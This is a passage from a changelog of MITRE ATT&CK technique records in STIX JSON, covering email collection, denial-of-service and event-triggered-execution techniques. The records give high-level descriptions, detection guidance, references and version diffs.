\"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][3]\": \"Arun Seelagan, CISA\", \"root['x_mitre_data_sources'][2]\": \"Cloud Service: Cloud Service Metadata\", \"root['x_mitre_platforms'][3]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Office 365\", \"root['x_mitre_platforms'][2]\": \"Google Workspace\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1041: Encrypt Sensitive Information", + "M1042: Disable or Remove Feature or Program", + "M1047: Audit" + ], + "new": [ + "M1060: Out-of-Band Communications Channel" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)" + ], + "new": [ + "DS0025: Cloud Service (Cloud Service Metadata)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-19 18:52:24.547000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Remote Email Collection", + "description": "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1114/002", + "external_id": "T1114.002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Logon Session: Logon Session Creation", + "Command: Command Execution", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Arun Seelagan, CISA\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2023-05-31 12:34:03.420000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][1]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Office 365\", \"root['x_mitre_platforms'][2]\": \"Google Workspace\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1032: Multi-factor Authentication", + "M1041: Encrypt Sensitive Information" + ], + "new": [ + "M1060: Out-of-Band Communications Channel" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Connection Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-18 11:00:55.862000+00:00", + "modified": "2024-10-15 15:56:47.424000+00:00", + "name": "Endpoint Denial of Service", + "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1499", + "external_id": "T1499" + }, + { + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + }, + { + "source_name": "FSISAC FraudNetDoS September 2012", + "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.", + "url": "https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf" + }, + { + "source_name": "ArsTechnica Great Firewall of China", + "description": "Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019.", + "url": "https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/" + }, + { + "source_name": "FireEye OpPoisonedHandover February 2016", + "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html" + }, + { + "source_name": "USNYAG IranianBotnet March 2016", + "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.", + "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged" + }, + { + "source_name": "Symantec DDoS October 2014", + "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Alfredo Oliveira, Trend Micro", + "David Fiser, @anu4is, Trend Micro", + "Magno Logan, @magnologan, Trend Micro", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Sensor Health: Host Status" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Containers", + "IaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:56:47.424000+00:00\", \"old_value\": \"2023-03-30 21:01:44.038000+00:00\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"FS-ISAC. (2012, September 17). Fraud Alert \\u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.\", \"old_value\": \"FS-ISAC. (2012, September 17). Fraud Alert \\u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf\", \"old_value\": \"https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\", \"root['x_mitre_platforms'][3]\": \"SaaS\", \"root['x_mitre_platforms'][7]\": \"Google Workspace\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0013: Sensor Health (Host Status)", + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 15:35:00.025000+00:00", + "modified": "2024-10-15 15:41:49.168000+00:00", + "name": "Application Exhaustion Flood", + "description": "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1499/003", + "external_id": "T1499.003" + }, + { + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + }, + { + "source_name": "Arbor AnnualDoSreport Jan 2018", + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Sensor Health: Host Status", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:41:49.168000+00:00\", \"old_value\": \"2022-03-25 18:07:45.176000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\", \"root['x_mitre_platforms'][3]\": \"SaaS\", \"root['x_mitre_platforms'][7]\": \"Google Workspace\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0013: Sensor Health (Host Status)", + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 15:37:27.052000+00:00", + "modified": "2024-10-15 15:42:23.001000+00:00", + "name": "Application or System Exploitation", + "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1499/004", + "external_id": "T1499.004" + }, + { + "source_name": "Sucuri BIND9 August 2015", + "description": "Cid, D.. (2015, August 2). BIND9 \u2013 Denial of Service Exploit in the Wild. Retrieved April 26, 2019.", + "url": "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Sensor Health: Host Status", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:42:23.001000+00:00\", \"old_value\": \"2022-03-25 18:11:13.604000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\", \"root['x_mitre_platforms'][3]\": \"SaaS\", \"root['x_mitre_platforms'][7]\": \"Google Workspace\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0013: Sensor Health (Host Status)", + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 15:31:43.613000+00:00", + "modified": "2024-10-15 16:05:48.014000+00:00", + "name": "Service Exhaustion Flood", + "description": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1499/002", + "external_id": "T1499.002" + }, + { + "source_name": "Arbor SSLDoS April 2012", + "description": "ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.", + "url": "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new" + }, + { + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + }, + { + "source_name": "Cloudflare HTTPflood", + "description": "Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.", + "url": "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/" + }, + { + "source_name": "Arbor AnnualDoSreport Jan 2018", + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Sensor Health: Host Status", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:05:48.014000+00:00\", \"old_value\": \"2023-03-30 21:01:43.164000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\", \"root['x_mitre_platforms'][3]\": \"SaaS\", \"root['x_mitre_platforms'][7]\": \"Google Workspace\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0013: Sensor Health (Host Status)", + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-22 21:04:23.285000+00:00", + "modified": "2024-10-15 15:57:00.731000+00:00", + "name": "Event Triggered Execution", + "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546", + "external_id": "T1546" + }, + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + }, + { + "source_name": "Microsoft DART Case Report 001", + "description": "Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.", + "url": "https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team" + }, + { + "source_name": "amnesia malware", + "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/" + }, + { + "source_name": "Backdooring an AWS account", + "description": "Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.", + "url": "https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9" + }, + { + "source_name": "Varonis Power Automate Data Exfiltration", + "description": "Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.", + "url": "https://www.varonis.com/blog/power-automate-data-exfiltration" + }, + { + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Module: Module Load", + "WMI: WMI Creation", + "File: File Metadata", + "File: File Creation", + "File: File Modification", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Cloud Service: Cloud Service Modification", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "IaaS", + "Office Suite" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:57:00.731000+00:00\", \"old_value\": \"2024-03-01 15:49:15.588000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}, \"root['x_mitre_platforms'][5]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0005: WMI (WMI Creation)", + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)", + "DS0022: File (File 